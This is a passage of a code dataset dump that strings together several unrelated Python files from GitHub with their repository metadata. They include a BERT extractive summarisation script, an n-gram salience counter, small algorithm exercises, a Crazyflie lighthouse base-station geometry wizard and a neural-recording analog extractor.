encoding=\"utf-8\"\n ) as save_pred:\n for target in targets:\n save_gold.write(target.strip() + \"\\n\")\n for prediction in predictions:\n save_pred.write(prediction.strip() + \"\\n\")\n\n return OrderedDict(\n {\n \"acc\": torch.tensor(result[\"acc\"]),\n \"f1\": torch.tensor(result[\"f1\"]),\n \"acc_and_f1\": torch.tensor(result[\"acc_and_f1\"]),\n }\n )\n\n def test_epoch_end(self, outputs):\n predictions = [\n line.strip() for line in open(\"../data/cnn_daily/save_pred.txt\", encoding=\"utf-8\")\n ]\n references = [\n line.strip() for line in open(\"../data/cnn_daily/save_gold.txt\", encoding=\"utf-8\")\n ]\n assert len(predictions) == len(references)\n\n rouge = load_metric(\"rouge\")\n metric = rouge.compute(predictions=predictions, references=references)\n self.log(\"rouge1_f\", metric[\"rouge1\"].mid.fmeasure)\n self.log(\"rouge2_f\", metric[\"rouge2\"].mid.fmeasure)\n\n return {\n \"acc\": torch.stack([x[\"acc\"] for x in outputs]).mean(),\n \"f1\": torch.stack([x[\"f1\"] for x in outputs]).mean(),\n \"acc_and_f1\": torch.stack([x[\"acc_and_f1\"] for x in outputs]).mean(),\n }\n\n def configure_optimizers(self):\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n params_decay = [\n p for n, p in self.named_parameters() if not any(nd in n for nd in no_decay)\n ]\n params_no_decay = [p for n, p in self.named_parameters() if any(nd in n for nd in no_decay)]\n parameters = [\n {\"params\": params_decay, \"weight_decay\": self.hparams.weight_decay},\n {\"params\": params_no_decay, \"weight_decay\": 0.0},\n ]\n return torch.optim.AdamW(parameters, lr=self.hparams.learning_rate, eps=1e-8)\n\n def predict_sentences(self, input_sentences, top_k, raw_scores=False):\n source_txt = [\n \" \".join([token.text for token in self.nlp(sentence) if str(token) != \".\"]) + \".\"\n for sentence in input_sentences\n ]\n\n input_ids = _get_input_ids(self.tokenizer, source_txt, bert_compatible_cls=True)\n attention_mask = [1] * len(input_ids)\n\n maxlen = getattr(self.hparams, \"max_seq_len\", self.tokenizer.model_max_length)\n sep_token_id = self.tokenizer.sep_token_id\n\n token_type_ids = []\n segment_flag = True\n for ids in input_ids:\n token_type_ids += [0 if segment_flag else 1]\n if ids == sep_token_id:\n segment_flag = not segment_flag\n\n sent_rep_token_ids = [i for i, t in enumerate(input_ids) if t == sep_token_id]\n sent_rep_masks = [1] * len(sent_rep_token_ids)\n\n input_ids = pad_sequences([input_ids], maxlen=maxlen, padding=\"post\")\n attention_mask = pad_sequences([attention_mask], maxlen=maxlen, padding=\"post\")\n token_type_ids = pad_sequences([token_type_ids], maxlen=maxlen, padding=\"post\")\n sent_rep_token_ids = pad_sequences([sent_rep_token_ids], padding=\"post\", value=-1)\n sent_rep_masks = pad_sequences([sent_rep_masks], padding=\"post\", value=-1)\n\n input_ids = torch.tensor(input_ids, dtype=torch.long)\n attention_mask = torch.tensor(attention_mask, dtype=torch.long)\n token_type_ids = torch.tensor(token_type_ids, dtype=torch.long)\n sent_rep_token_ids = torch.tensor(sent_rep_token_ids, dtype=torch.long)\n sent_rep_masks = torch.tensor(sent_rep_masks, dtype=torch.long)\n\n self.eval()\n with torch.no_grad():\n outputs = self(\n input_ids, attention_mask, token_type_ids, sent_rep_token_ids, sent_rep_masks\n )\n outputs = torch.sigmoid(outputs)\n\n if raw_scores:\n sent_scores = list(zip(source_txt, outputs.tolist()[0]))\n return sent_scores\n\n sorted_ids = torch.argsort(outputs, dim=1, descending=True).detach().cpu().numpy()\n logger.debug(\"Sorted sentence ids: %s\", sorted_ids)\n selected_ids = sorted_ids[0, :top_k]\n logger.debug(\"Selected sentence ids: %s\", selected_ids)\n\n selected_sents = []\n selected_ids.sort()\n for i in selected_ids:\n selected_sents.append(source_txt[i])\n\n return \" \".join(selected_sents).strip()\n\n\nif __name__ == \"__main__\":\n hparams = Namespace(\n data_dir=\"../data/cnn_daily/cnn_dm/\",\n model_dir=\"../data/cnn_daily/checkpoints/\",\n model_file=\"../data/cnn_daily/checkpoints/bert-base-uncased-ext-sum.ckpt\",\n src_data_path=\"../data/cnn_daily/cnn_dm/json.gz\",\n load_from_checkpoint=True,\n model_name=\"bert-base-uncased\", # \"prajjwal1/bert-small\", \"bert-base-uncased\",\n learning_rate=1e-5,\n batch_size=32,\n num_epochs=100,\n max_seq_len=512,\n weight_decay=0.01,\n top_k_sentences=2,\n )\n\n # preprocess_datasets(hparams=hparams)\n\n cnn_dm = CnnDataModule(\n data_dir=hparams.data_dir, batch_size=hparams.batch_size, max_seq_len=hparams.max_seq_len\n )\n\n if hparams.load_from_checkpoint:\n model = ExtractiveSummarization.load_from_checkpoint(hparams.model_file, strict=False)\n else:\n model = ExtractiveSummarization(hparams=hparams)\n\n checkpoint_callback = ModelCheckpoint(\n dirpath=hparams.model_dir,\n filename=\"my-bert-base-uncased-{epoch}\",\n save_top_k=2,\n monitor=\"train_loss\",\n mode=\"min\",\n verbose=True,\n )\n\n trainer = Trainer(\n max_epochs=hparams.num_epochs,\n max_steps=1000,\n accelerator=\"auto\",\n devices=\"auto\",\n callbacks=[\n checkpoint_callback,\n LearningRateMonitor(),\n EarlyStopping(monitor=\"val_loss\", mode=\"min\", patience=5),\n TQDMProgressBar(refresh_rate=20),\n ],\n )\n\n # trainer.fit(model, datamodule=cnn_dm)\n # trainer.test(model, datamodule=cnn_dm)\n\n cnn_dm.prepare_data()\n cnn_dm.setup(stage=\"test\")\n\n idx = np.random.randint(0, 1000)\n input_sentences = cnn_dm.datasets[\"test\"][idx][\"sources\"]\n predictions = model.predict_sentences(input_sentences, top_k=hparams.top_k_sentences)\n print(predictions)\n print(cnn_dm.datasets[\"test\"][idx][\"targets\"])\n","repo_name":"mecha2k/py-nlp","sub_path":"src/bert_summarization/my_transformer_sum.py","file_name":"my_transformer_sum.py","file_ext":"py","file_size_in_byte":21594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74206538614","text":"import os\nimport re\nimport sys\n#import timeit\nfrom threading import Thread\n#import numpy as np\n#from nltk.tokenize import word_tokenize\n \n\n\ndef tokenize(file_loc):\n f = open(file_loc, 'rb')\n lines = [line.decode('utf-8', 'ignore') for line in f]\n words = []\n for l in lines:\n wd = re.split('[^a-zA-Z0-9]', l)\n wd = [word for word in wd if word]\n wd = [word.lower() for word in wd]\n #print(wd)\n #print(file_loc)\n words.extend(wd)\n return words\n\n\n## function to add/update the count of n-gram of a particular class in class_dict dictionary\ndef find_ngram(class_dir,class_dict,class_name,file_name_list,start,end,ngram):\n for i in range(start,end):\n file_loc = os.path.join(class_dir,file_name_list[i])\n words = tokenize(file_loc)\n #print(words)\n for j in range(len(words)-ngram+1):#2 = 3-1\n str1 = \" \"\n list = []\n for k in range(ngram): #3 = n-gram\n list.append(words[j+k])\n #list.append(str(class_no))\n str1 = str1.join(list)\n if str1 in class_dict.keys():\n class_dict[str1][0]=class_dict[str1][0]+1\n else:\n class_dict[str1]=[1,class_name] \n\n\n#Use of multithreading\n# function to find the salience score of ngram of a particular class\ndef class_ngram_fun(directory,class_name,class_dict,nthreads,k):\n class_dir = os.path.join(directory,class_name) #location of class directory\n class_file_cnt = 0\n file_name_list = [] # list of filenames in a class\n for file_name in os.listdir(class_dir):\n class_file_cnt+=1\n file_name_list.append(file_name)\n\n # creating multiple threads and allocating a set of files in a class to each thread\n threads = [None]*min(nthreads,class_file_cnt) \n size = int((class_file_cnt+len(threads)-1)/len(threads))\n for i in range(len(threads)):\n start = i*size\n if (i == (len(threads)-1)):\n end = class_file_cnt\n else:\n end = (i+1)*size\n threads[i] = Thread(target=find_ngram,args=(class_dir,class_dict,class_name,file_name_list,start,end,ngram)) \n threads[i].start()\n\n for i in range(len(threads)):\n threads[i].join()\n \n # calculating salience score of ngram in a class\n for i in class_dict:\n class_dict[i][0]=float(class_dict[i][0]/class_file_cnt)\n\n #only top k ngram of each class can decide the final top k ngram for all classes\n # sorted_class_dict = dict(sorted(class_dict.items(), key=lambda x:x[1], reverse=True))\n # cnt = 0\n # class_dict_t={}\n # for i in sorted_class_dict:\n # class_dict_t[i]=sorted_class_dict[i]\n # cnt+=1\n # if(cnt==k): #5 = k\n # break\n # class_dict = class_dict_t\n # print(class_name)\n # print(class_dict)\n\n\n \n\n# function to merge the salience score of ngrams from each class to ngram_dict dictionary\ndef all_ngram_fun(ngram_dict,class_dict):\n for i in class_dict:\n if (i in ngram_dict):\n if (class_dict[i][0]>ngram_dict[i][0]) :\n ngram_dict[i]=class_dict[i] \n else:\n ngram_dict[i]=class_dict[i]\n\n\n# function to print top k unique ngram\ndef print_fun(sorted_dict,k):\n cnt = 0\n print(\"Output in form of (ngram, class, salience score)\\n\")\n for i in sorted_dict:\n print(\"(\",i,\",\",sorted_dict[i][1],\",\",round(sorted_dict[i][0],5),\")\")\n cnt+=1\n if(cnt==k):break\n\n\n\n\n\nif __name__ == \"__main__\":\n \n \n #t0 = timeit.default_timer()\n #print(sys.argv)\n directory = sys.argv[1] #location of directory\n nthreads = int(sys.argv[2]) #no of threads\n ngram = int(sys.argv[3]) # no of words \n k = int(sys.argv[4]) # top k ngrams\n ngram_dict={}\n for class_name in os.listdir(directory):\n class_dict = {}\n class_ngram_fun(directory,class_name,class_dict,nthreads,k)\n all_ngram_fun(ngram_dict,class_dict) \n\n # t1 = timeit.default_timer()\n # print(round(t1-t0,3))\n \n sorted_dict = dict(sorted(ngram_dict.items(), key=lambda x:x[1], reverse=True))# sorting dictionary based on salience score in descending order\n\n #printing top k unique ngram\n print_fun(sorted_dict,k)\n\n","repo_name":"VibhanshuRanjan/Big-Data-Processing","sub_path":"Assgn1/assignment-1-18EE35032.py","file_name":"assignment-1-18EE35032.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10450978572","text":"# 14916 거스름 돈\nimport math\nn = int(input())\nINF = math.inf\n\ndp = [0]*(100001)\ndp[2],dp[4],dp[5] = 1,2,1\nfor i in range(6,n+1):\n a,b = math.inf,math.inf\n if dp[i-2]:\n a=dp[i-2]+1\n if dp[i-5]:\n b=dp[i-5]+1\n dp[i] = min(a,b)\n\nprint(dp[n] if dp[n] else -1)","repo_name":"inkyu0103/BOJ","sub_path":"Dynamic Programming/14916.py","file_name":"14916.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34192092657","text":"from __future__ import annotations\n\nimport cfclient\n\nfrom cflib.crazyflie import Crazyflie\nfrom cflib.crazyflie.mem.lighthouse_memory import LighthouseBsGeometry\nfrom cflib.localization.lighthouse_sweep_angle_reader import LighthouseSweepAngleAverageReader\nfrom cflib.localization.lighthouse_sweep_angle_reader import LighthouseSweepAngleReader\nfrom cflib.localization.lighthouse_bs_vector import LighthouseBsVectors\nfrom cflib.localization.lighthouse_initial_estimator import LighthouseInitialEstimator\nfrom cflib.localization.lighthouse_sample_matcher import LighthouseSampleMatcher\nfrom cflib.localization.lighthouse_system_aligner import LighthouseSystemAligner\nfrom cflib.localization.lighthouse_geometry_solver import LighthouseGeometrySolver\nfrom cflib.localization.lighthouse_system_scaler import LighthouseSystemScaler\nfrom cflib.localization.lighthouse_types import Pose, LhDeck4SensorPositions, LhMeasurement, LhCfPoseSample\n\nfrom PyQt6 import QtCore, QtWidgets, QtGui\nimport time\n\n\nREFERENCE_DIST = 1.0\nITERATION_MAX_NR = 2\nDEFAULT_RECORD_TIME = 20\nTIMEOUT_TIME = 2000\nSTRING_PAD_TOTAL = 6\nWINDOW_STARTING_WIDTH = 780\nWINDOW_STARTING_HEIGHT = 720\nSPACER_LABEL_HEIGHT = 27\nPICTURE_WIDTH = 640\n\n\nclass LighthouseBasestationGeometryWizard(QtWidgets.QWizard):\n def __init__(self, cf, ready_cb, parent=None, *args):\n super(LighthouseBasestationGeometryWizard, self).__init__(parent)\n self.cf = cf\n self.ready_cb = ready_cb\n self.wizard_opened_first_time = True\n self.reset()\n\n self.button(QtWidgets.QWizard.WizardButton.FinishButton).clicked.connect(self._finish_button_clicked_callback)\n\n def _finish_button_clicked_callback(self):\n self.ready_cb(self.get_geometry_page.get_geometry())\n\n def reset(self):\n self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowType.WindowContextHelpButtonHint)\n self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowType.WindowCloseButtonHint)\n\n if not self.wizard_opened_first_time:\n self.removePage(0)\n self.removePage(1)\n self.removePage(2)\n self.removePage(3)\n self.removePage(4)\n del self.get_origin_page, self.get_xaxis_page, self.get_xyplane_page\n del self.get_xyzspace_page, self.get_geometry_page\n else:\n self.wizard_opened_first_time = False\n\n self.get_origin_page = RecordOriginSamplePage(self.cf, self)\n self.get_xaxis_page = RecordXAxisSamplePage(self.cf, self)\n self.get_xyplane_page = RecordXYPlaneSamplesPage(self.cf, self)\n self.get_xyzspace_page = RecordXYZSpaceSamplesPage(self.cf, self)\n self.get_geometry_page = EstimateBSGeometryPage(\n self.cf, self.get_origin_page, self.get_xaxis_page, self.get_xyplane_page, self.get_xyzspace_page, self)\n\n self.addPage(self.get_origin_page)\n self.addPage(self.get_xaxis_page)\n self.addPage(self.get_xyplane_page)\n self.addPage(self.get_xyzspace_page)\n self.addPage(self.get_geometry_page)\n\n self.setWindowTitle(\"Lighthouse Base Station Geometry Wizard\")\n self.resize(WINDOW_STARTING_WIDTH, WINDOW_STARTING_HEIGHT)\n\n\nclass LighthouseBasestationGeometryWizardBasePage(QtWidgets.QWizardPage):\n\n def __init__(self, cf: Crazyflie, show_add_measurements=False, parent=None):\n super(LighthouseBasestationGeometryWizardBasePage, self).__init__(parent)\n self.show_add_measurements = show_add_measurements\n self.cf = cf\n self.layout = QtWidgets.QVBoxLayout()\n\n self.explanation_picture = QtWidgets.QLabel()\n self.explanation_picture.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.layout.addWidget(self.explanation_picture)\n\n self.explanation_text = QtWidgets.QLabel()\n self.explanation_text.setText(' ')\n self.explanation_text.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.layout.addWidget(self.explanation_text)\n\n self.layout.addStretch()\n\n self.extra_layout_field()\n\n self.status_text = QtWidgets.QLabel()\n self.status_text.setFont(QtGui.QFont('Courier New', 10))\n self.status_text.setText(self.str_pad(''))\n self.status_text.setFrameStyle(QtWidgets.QFrame.Shape.Panel | QtWidgets.QFrame.Shadow.Plain)\n self.layout.addWidget(self.status_text)\n\n self.start_action_button = QtWidgets.QPushButton(\"Start Measurement\")\n self.start_action_button.clicked.connect(self._action_btn_clicked)\n action_button_h_box = QtWidgets.QHBoxLayout()\n action_button_h_box.addStretch()\n action_button_h_box.addWidget(self.start_action_button)\n action_button_h_box.addStretch()\n self.layout.addLayout(action_button_h_box)\n self.setLayout(self.layout)\n self.is_done = False\n self.too_few_bs = False\n self.timeout_timer = QtCore.QTimer()\n self.timeout_timer.timeout.connect(self._timeout_cb)\n self.reader = LighthouseSweepAngleAverageReader(self.cf, self._ready_cb)\n self.recorded_angle_result = None\n self.recorded_angles_result: list[LhCfPoseSample] = []\n\n def isComplete(self):\n return self.is_done and (self.too_few_bs is not True)\n\n def extra_layout_field(self):\n self.spacer = QtWidgets.QLabel()\n self.spacer.setText(' ')\n self.spacer.setFixedSize(50, SPACER_LABEL_HEIGHT)\n self.layout.addWidget(self.spacer)\n\n def _action_btn_clicked(self):\n self.is_done = False\n self.reader.start_angle_collection()\n self.timeout_timer.start(TIMEOUT_TIME)\n self.status_text.setText(self.str_pad('Collecting sweep angles...'))\n self.start_action_button.setDisabled(True)\n\n def _timeout_cb(self):\n if self.is_done is not True:\n self.status_text.setText(self.str_pad('No sweep angles recorded! \\n' +\n 'Make sure that the lighthouse base stations are turned on!'))\n self.reader.stop_angle_collection()\n self.start_action_button.setText(\"Restart Measurement\")\n self.start_action_button.setDisabled(False)\n elif self.too_few_bs:\n self.timeout_timer.stop()\n\n def _ready_cb(self, averages):\n print(self.show_add_measurements)\n recorded_angles = averages\n angles_calibrated = {}\n for bs_id, data in recorded_angles.items():\n angles_calibrated[bs_id] = data[1]\n self.recorded_angle_result = LhCfPoseSample(angles_calibrated=angles_calibrated)\n self.visible_basestations = ', '.join(map(lambda x: str(x + 1), recorded_angles.keys()))\n amount_of_basestations = len(recorded_angles.keys())\n\n if amount_of_basestations < 2:\n self.status_text.setText(self.str_pad('Recording Done!' +\n f' Visible Base stations: {self.visible_basestations}\\n' +\n 'Received too few base stations,' +\n 'we need at least two. Please try again!'))\n self.too_few_bs = True\n self.is_done = True\n if self.show_add_measurements and len(self.recorded_angles_result) > 0:\n self.too_few_bs = False\n self.completeChanged.emit()\n self.start_action_button.setText(\"Restart Measurement\")\n self.start_action_button.setDisabled(False)\n else:\n self.too_few_bs = False\n status_text_string = f'Recording Done! Visible Base stations: {self.visible_basestations}\\n'\n if self.show_add_measurements:\n self.recorded_angles_result.append(self.get_sample())\n status_text_string += f'Total measurements added: {len(self.recorded_angles_result)}\\n'\n self.status_text.setText(self.str_pad(status_text_string))\n self.is_done = True\n self.completeChanged.emit()\n\n if self.show_add_measurements:\n self.start_action_button.setText(\"Add more measurements\")\n self.start_action_button.setDisabled(False)\n else:\n self.start_action_button.setText(\"Restart Measurement\")\n self.start_action_button.setDisabled(False)\n\n def get_sample(self):\n return self.recorded_angle_result\n\n def str_pad(self, string_msg):\n new_string_msg = string_msg\n\n if string_msg.count('\\n') < STRING_PAD_TOTAL:\n for i in range(STRING_PAD_TOTAL-string_msg.count('\\n')):\n new_string_msg += '\\n'\n\n return new_string_msg\n\n\nclass RecordOriginSamplePage(LighthouseBasestationGeometryWizardBasePage):\n def __init__(self, cf: Crazyflie, parent=None):\n super(RecordOriginSamplePage, self).__init__(cf)\n self.explanation_text.setText(\n 'Step 1. Put the Crazyflie where you want the origin of your coordinate system.\\n')\n pixmap = QtGui.QPixmap(cfclient.module_path + \"/ui/wizards/bslh_1.png\")\n pixmap = pixmap.scaledToWidth(PICTURE_WIDTH)\n self.explanation_picture.setPixmap(pixmap)\n\n\nclass RecordXAxisSamplePage(LighthouseBasestationGeometryWizardBasePage):\n def __init__(self, cf: Crazyflie, parent=None):\n super(RecordXAxisSamplePage, self).__init__(cf)\n self.explanation_text.setText('Step 2. Put the Crazyflie on the positive X-axis,' +\n f' exactly {REFERENCE_DIST} meters from the origin.\\n' +\n 'This will be used to define the X-axis as well as scaling of the system.')\n pixmap = QtGui.QPixmap(cfclient.module_path + \"/ui/wizards/bslh_2.png\")\n pixmap = pixmap.scaledToWidth(PICTURE_WIDTH)\n self.explanation_picture.setPixmap(pixmap)\n\n\nclass RecordXYPlaneSamplesPage(LighthouseBasestationGeometryWizardBasePage):\n def __init__(self, cf: Crazyflie, parent=None):\n super(RecordXYPlaneSamplesPage, self).__init__(cf, show_add_measurements=True)\n self.explanation_text.setText('Step 3. Put the Crazyflie somewhere in the XY-plane, but not on the X-axis.\\n' +\n 'This position is used to map the the XY-plane to the floor.\\n' +\n 'You can sample multiple positions to get a more precise definition.')\n pixmap = QtGui.QPixmap(cfclient.module_path + \"/ui/wizards/bslh_3.png\")\n pixmap = pixmap.scaledToWidth(PICTURE_WIDTH)\n self.explanation_picture.setPixmap(pixmap)\n\n def get_samples(self):\n return self.recorded_angles_result\n\n\nclass RecordXYZSpaceSamplesPage(LighthouseBasestationGeometryWizardBasePage):\n def __init__(self, cf: Crazyflie, parent=None):\n super(RecordXYZSpaceSamplesPage, self).__init__(cf)\n self.explanation_text.setText('Step 4. Move the Crazyflie around, try to cover all of the flying space,\\n' +\n 'make sure all the base stations are received.\\n' +\n 'Avoid moving too fast, you can increase the record time if needed.\\n')\n pixmap = QtGui.QPixmap(cfclient.module_path + \"/ui/wizards/bslh_4.png\")\n pixmap = pixmap.scaledToWidth(PICTURE_WIDTH)\n self.explanation_picture.setPixmap(pixmap)\n\n self.record_timer = QtCore.QTimer()\n self.record_timer.timeout.connect(self._record_timer_cb)\n self.record_time_total = DEFAULT_RECORD_TIME\n self.record_time_current = 0\n self.reader = LighthouseSweepAngleReader(self.cf, self._ready_single_sample_cb)\n self.bs_seen = set()\n\n def extra_layout_field(self):\n h_box = QtWidgets.QHBoxLayout()\n self.seconds_explanation_text = QtWidgets.QLabel()\n self.fill_record_times_line_edit = QtWidgets.QLineEdit(str(DEFAULT_RECORD_TIME))\n self.seconds_explanation_text.setText('Enter the number of seconds you want to record:')\n h_box.addStretch()\n h_box.addWidget(self.seconds_explanation_text)\n h_box.addWidget(self.fill_record_times_line_edit)\n h_box.addStretch()\n self.layout.addLayout(h_box)\n\n def _record_timer_cb(self):\n self.record_time_current += 1\n self.status_text.setText(self.str_pad('Collecting sweep angles...' +\n f' seconds remaining: {self.record_time_total-self.record_time_current}'))\n\n if self.record_time_current == self.record_time_total:\n self.reader.stop()\n self.status_text.setText(self.str_pad(\n 'Recording Done!'+f' Got {len(self.recorded_angles_result)} samples!'))\n self.start_action_button.setText(\"Restart measurements\")\n self.start_action_button.setDisabled(False)\n self.is_done = True\n self.completeChanged.emit()\n self.record_timer.stop()\n\n def _action_btn_clicked(self):\n self.is_done = False\n self.reader.start()\n self.record_time_current = 0\n self.record_time_total = int(self.fill_record_times_line_edit.text())\n self.record_timer.start(1000)\n self.status_text.setText(self.str_pad('Collecting sweep angles...' +\n f' seconds remaining: {self.record_time_total}'))\n\n self.start_action_button.setDisabled(True)\n\n def _ready_single_sample_cb(self, bs_id: int, angles: LighthouseBsVectors):\n now = time.time()\n measurement = LhMeasurement(timestamp=now, base_station_id=bs_id, angles=angles)\n self.recorded_angles_result.append(measurement)\n self.bs_seen.add(str(bs_id + 1))\n\n def get_samples(self):\n return self.recorded_angles_result\n\n\nclass EstimateGeometryThread(QtCore.QObject):\n finished = QtCore.pyqtSignal()\n failed = QtCore.pyqtSignal()\n\n def __init__(self, origin, x_axis, xy_plane, samples):\n super(EstimateGeometryThread, self).__init__()\n\n self.origin = origin\n self.x_axis = x_axis\n self.xy_plane = xy_plane\n self.samples = samples\n self.bs_poses = {}\n\n def run(self):\n try:\n self.bs_poses = self._estimate_geometry(self.origin, self.x_axis, self.xy_plane, self.samples)\n self.finished.emit()\n except Exception as ex:\n print(ex)\n self.failed.emit()\n\n def get_poses(self):\n return self.bs_poses\n\n def _estimate_geometry(self, origin: LhCfPoseSample,\n x_axis: list[LhCfPoseSample],\n xy_plane: list[LhCfPoseSample],\n samples: list[LhCfPoseSample]) -> dict[int, Pose]:\n \"\"\"Estimate the geometry of the system based on samples recorded by a Crazyflie\"\"\"\n matched_samples = [origin] + x_axis + xy_plane + LighthouseSampleMatcher.match(samples, min_nr_of_bs_in_match=2)\n initial_guess, cleaned_matched_samples = LighthouseInitialEstimator.estimate(matched_samples,\n LhDeck4SensorPositions.positions)\n\n solution = LighthouseGeometrySolver.solve(initial_guess,\n cleaned_matched_samples,\n LhDeck4SensorPositions.positions)\n if not solution.success:\n raise Exception(\"No lighthouse base station geometry solution could be found!\")\n\n start_x_axis = 1\n start_xy_plane = 1 + len(x_axis)\n origin_pos = solution.cf_poses[0].translation\n x_axis_poses = solution.cf_poses[start_x_axis:start_x_axis + len(x_axis)]\n x_axis_pos = list(map(lambda x: x.translation, x_axis_poses))\n xy_plane_poses = solution.cf_poses[start_xy_plane:start_xy_plane + len(xy_plane)]\n xy_plane_pos = list(map(lambda x: x.translation, xy_plane_poses))\n\n # Align the solution\n bs_aligned_poses, transformation = LighthouseSystemAligner.align(\n origin_pos, x_axis_pos, xy_plane_pos, solution.bs_poses)\n\n cf_aligned_poses = list(map(transformation.rotate_translate_pose, solution.cf_poses))\n\n # Scale the solution\n bs_scaled_poses, cf_scaled_poses, scale = LighthouseSystemScaler.scale_fixed_point(bs_aligned_poses,\n cf_aligned_poses,\n [REFERENCE_DIST, 0, 0],\n cf_aligned_poses[1])\n\n return bs_scaled_poses\n\n\nclass EstimateBSGeometryPage(LighthouseBasestationGeometryWizardBasePage):\n def __init__(self, cf: Crazyflie, origin_page: RecordOriginSamplePage, xaxis_page: RecordXAxisSamplePage,\n xyplane_page: RecordXYPlaneSamplesPage, xyzspace_page: RecordXYZSpaceSamplesPage, parent=None):\n\n super(EstimateBSGeometryPage, self).__init__(cf)\n self.explanation_text.setText('Step 5. Press the button to estimate the geometry and check the result.\\n' +\n 'If the positions of the base stations look reasonable, press finish to close ' +\n 'the wizard,\\n' +\n 'if not restart the wizard.')\n pixmap = QtGui.QPixmap(cfclient.module_path + \"/ui/wizards/bslh_5.png\")\n pixmap = pixmap.scaledToWidth(640)\n self.explanation_picture.setPixmap(pixmap)\n self.start_action_button.setText('Estimate Geometry')\n self.origin_page = origin_page\n self.xaxis_page = xaxis_page\n self.xyplane_page = xyplane_page\n self.xyzspace_page = xyzspace_page\n self.bs_poses = {}\n\n def _action_btn_clicked(self):\n self.start_action_button.setDisabled(True)\n self.status_text.setText(self.str_pad('Estimating geometry...'))\n origin = self.origin_page.get_sample()\n x_axis = [self.xaxis_page.get_sample()]\n xy_plane = self.xyplane_page.get_samples()\n samples = self.xyzspace_page.get_samples()\n self.thread_estimator = QtCore.QThread()\n self.worker = EstimateGeometryThread(origin, x_axis, xy_plane, samples)\n self.worker.moveToThread(self.thread_estimator)\n self.thread_estimator.started.connect(self.worker.run)\n self.worker.finished.connect(self.thread_estimator.quit)\n self.worker.finished.connect(self._geometry_estimated_finished)\n self.worker.failed.connect(self._geometry_estimated_failed)\n self.worker.finished.connect(self.worker.deleteLater)\n self.thread_estimator.finished.connect(self.thread_estimator.deleteLater)\n self.thread_estimator.start()\n\n def _geometry_estimated_finished(self):\n self.bs_poses = self.worker.get_poses()\n self.start_action_button.setDisabled(False)\n self.status_text.setText(self.str_pad('Geometry estimated! (X,Y,Z) in meters \\n' +\n self._print_base_stations_poses(self.bs_poses)))\n self.is_done = True\n self.completeChanged.emit()\n\n def _geometry_estimated_failed(self):\n self.bs_poses = self.worker.get_poses()\n self.status_text.setText(self.str_pad('Geometry estimate failed! \\n' +\n 'Hit Cancel to close the wizard and start again'))\n\n def _print_base_stations_poses(self, base_stations: dict[int, Pose]):\n \"\"\"Pretty print of base stations pose\"\"\"\n bs_string = ''\n for bs_id, pose in sorted(base_stations.items()):\n pos = pose.translation\n temp_string = f' {bs_id + 1}: ({pos[0]}, {pos[1]}, {pos[2]})'\n bs_string += '\\n' + temp_string\n\n return bs_string\n\n def get_geometry(self):\n geo_dict = {}\n for bs_id, pose in self.bs_poses.items():\n geo = LighthouseBsGeometry()\n geo.origin = pose.translation.tolist()\n geo.rotation_matrix = pose.rot_matrix.tolist()\n geo.valid = True\n geo_dict[bs_id] = geo\n\n return geo_dict\n\n\nif __name__ == '__main__':\n import sys\n app = QtWidgets.QApplication(sys.argv)\n wizard = LighthouseBasestationGeometryWizard()\n wizard.show()\n sys.exit(app.exec())\n","repo_name":"bitcraze/crazyflie-clients-python","sub_path":"src/cfclient/ui/wizards/lighthouse_geo_bs_estimation_wizard.py","file_name":"lighthouse_geo_bs_estimation_wizard.py","file_ext":"py","file_size_in_byte":20340,"program_lang":"python","lang":"en","doc_type":"code","stars":287,"dataset":"github-code","pt":"21"} +{"seq_id":"72472221172","text":"import logging.config\nimport os\n\nfrom rec_to_binaries.read_binaries import readTrodesExtractedDataFile\n\nfrom rec_to_nwb.processing.time.continuous_time_extractor import ContinuousTimeExtractor\nfrom rec_to_nwb.processing.time.timestamp_converter import TimestampConverter\n\npath = os.path.dirname(os.path.abspath(__file__))\nlogging.config.fileConfig(fname=str(path) + '/../../../../logging.conf', disable_existing_loggers=False)\nlogger = logging.getLogger(__name__)\n\n\nclass FlAnalogExtractor:\n\n @staticmethod\n def extract_analog_for_single_dataset(analog_files, continuous_time_file):\n single_dataset_data = {}\n for analog_file in analog_files:\n if not 'timestamps' in analog_file:\n analog_data = readTrodesExtractedDataFile(analog_files[analog_file])\n values = analog_data['data']\n single_dataset_data[analog_data['id']] = values\n else:\n continuous_time_dict = ContinuousTimeExtractor.get_continuous_time_dict_file(continuous_time_file)\n timestamp = readTrodesExtractedDataFile(analog_files[analog_file])\n keys = [key[0] for key in timestamp['data']]\n single_dataset_data[analog_file] = TimestampConverter.convert_timestamps(continuous_time_dict, keys)\n return single_dataset_data\n\n\n\n\n","repo_name":"NovelaNeuro/rec_to_nwb","sub_path":"rec_to_nwb/processing/nwb/components/analog/fl_analog_extractor.py","file_name":"fl_analog_extractor.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"72791880054","text":"def main():\n\n with open('9 - Motif\\data.txt') as f:\n data = f.readlines()\n\n data = [x.strip() for x in data]\n\n dnastring = data[0]\n motif = data[1]\n\n motifLocations = []\n\n for i in range(len(dnastring)):\n if dnastring[i:i+len(motif)] == motif:\n motifLocations.append(i+1)\n\n motifLocations = str(motifLocations).strip('[]').replace(',', '')\n\n print(motifLocations)\n\n\n\nif __name__ == \"__main__\": \n main()","repo_name":"wvenemans/Rosalind","sub_path":"9 - Motif/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73771925491","text":"import math\nfrom typing import List\n\n\nclass Solution:\n def minSpeedOnTime(self, dist: List[int], hour: float) -> int:\n def check(speed):\n time_it_takes = 0\n for i, km in enumerate(dist):\n time = km / speed\n time_it_takes += math.ceil(time) if i != len(dist) - 1 else time\n return time_it_takes <= hour\n\n l, r = 1, 10 ** 7\n while (l < r):\n speed = (l + r) >> 1\n if check(speed):\n r = speed\n 